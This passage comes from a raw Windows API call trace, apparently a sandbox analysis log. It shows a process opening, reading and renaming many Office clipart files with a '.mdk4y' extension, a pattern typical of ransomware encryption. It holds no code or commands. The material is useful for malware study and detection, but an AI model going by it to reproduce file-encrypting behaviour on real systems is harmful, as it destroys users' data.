lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f38, lpOverlapped=0x0) returned 1 [0147.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822230200000) returned 1 [0147.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822230200000) returned 1 [0147.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.mdk4y")) returned 1 [0147.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.073] AreFileApisANSI () returned 1 [0147.073] GetACP () returned 0x4e4 [0147.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105332.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105332.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.073] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822230400000) returned 1 [0147.074] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x290c, lpOverlapped=0x0) returned 1 [0147.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822236800000) returned 1 [0147.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822236800000) returned 1 [0147.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.mdk4y")) returned 1 [0147.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.139] AreFileApisANSI () returned 1 [0147.139] GetACP () returned 0x4e4 [0147.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105336.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105336.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822237000000) returned 1 [0147.140] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb54, lpOverlapped=0x0) returned 1 [0147.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822237100000) returned 1 [0147.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822237100000) returned 1 [0147.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.mdk4y")) returned 1 [0147.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.143] AreFileApisANSI () returned 1 [0147.143] GetACP () returned 0x4e4 [0147.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105338.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105338.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.143] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822237300000) returned 1 [0147.143] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d40, lpOverlapped=0x0) returned 1 [0147.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822242400000) returned 1 [0147.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822242400000) returned 1 [0147.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.mdk4y")) returned 1 [0147.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.196] AreFileApisANSI () returned 1 [0147.196] GetACP () returned 0x4e4 [0147.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105348.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105348.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.197] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822242800000) returned 1 [0147.198] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x42a4, lpOverlapped=0x0) returned 1 [0147.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822245200000) returned 1 [0147.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822245200000) returned 1 [0147.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.mdk4y")) returned 1 [0147.224] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.224] AreFileApisANSI () returned 1 [0147.224] GetACP () returned 0x4e4 [0147.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105360.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105360.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.224] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822245500000) returned 1 [0147.225] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x229c, lpOverlapped=0x0) returned 1 [0147.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822249700000) returned 1 [0147.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822249800000) returned 1 [0147.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.mdk4y")) returned 1 [0147.269] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.269] AreFileApisANSI () returned 1 [0147.269] GetACP () returned 0x4e4 [0147.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105368.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105368.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822250100000) returned 1 [0147.271] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x305c, lpOverlapped=0x0) returned 1 [0147.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822251300000) returned 1 [0147.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822251300000) returned 1 [0147.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.mdk4y")) returned 1 [0147.286] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.286] AreFileApisANSI () returned 1 [0147.286] GetACP () returned 0x4e4 [0147.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105376.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105376.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.286] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822251600000) returned 1 [0147.286] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1364, lpOverlapped=0x0) returned 1 [0147.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822256200000) returned 1 [0147.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822256200000) returned 1 [0147.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.mdk4y")) returned 1 [0147.334] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.334] AreFileApisANSI () returned 1 [0147.334] GetACP () returned 0x4e4 [0147.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105378.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105378.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.334] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822256400000) returned 1 [0147.335] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1364, lpOverlapped=0x0) returned 1 [0147.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822258400000) returned 1 [0147.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822258400000) returned 1 [0147.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.mdk4y")) returned 1 [0147.355] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.355] AreFileApisANSI () returned 1 [0147.355] GetACP () returned 0x4e4 [0147.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105380.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105380.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.355] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822258600000) returned 1 [0147.356] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1210, lpOverlapped=0x0) returned 1 [0147.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822259200000) returned 1 [0147.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822259200000) returned 1 [0147.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.mdk4y")) returned 1 [0147.363] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.363] AreFileApisANSI () returned 1 [0147.363] GetACP () returned 0x4e4 [0147.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105384.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105384.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.363] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822259400000) returned 1 [0147.364] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16f8, lpOverlapped=0x0) returned 1 [0147.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822265700000) returned 1 [0147.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822265800000) returned 1 [0147.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.mdk4y")) returned 1 [0147.429] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.429] AreFileApisANSI () returned 1 [0147.429] GetACP () returned 0x4e4 [0147.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105386.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105386.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.429] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822266100000) returned 1 [0147.431] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x175c, lpOverlapped=0x0) returned 1 [0147.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822270900000) returned 1 [0147.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822270900000) returned 1 [0147.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.mdk4y")) returned 1 [0147.480] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.480] AreFileApisANSI () returned 1 [0147.480] GetACP () returned 0x4e4 [0147.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105388.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105388.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.480] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822271100000) returned 1 [0147.481] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x203c, lpOverlapped=0x0) returned 1 [0147.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822280000000) returned 1 [0147.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822280100000) returned 1 [0147.571] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.mdk4y")) returned 1 [0147.572] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.572] AreFileApisANSI () returned 1 [0147.572] GetACP () returned 0x4e4 [0147.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105390.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105390.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.572] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822280200000) returned 1 [0147.572] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1350, lpOverlapped=0x0) returned 1 [0147.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822286400000) returned 1 [0147.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822286400000) returned 1 [0147.635] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.mdk4y")) returned 1 [0147.636] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0147.636] AreFileApisANSI () returned 1 [0147.636] GetACP () returned 0x4e4 [0147.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105396.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105396.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0147.636] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0147.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822286600000) returned 1 [0147.636] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b04, lpOverlapped=0x0) returned 1 [0147.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822293600000) returned 1 [0147.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822293600000) returned 1 [0147.707] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" 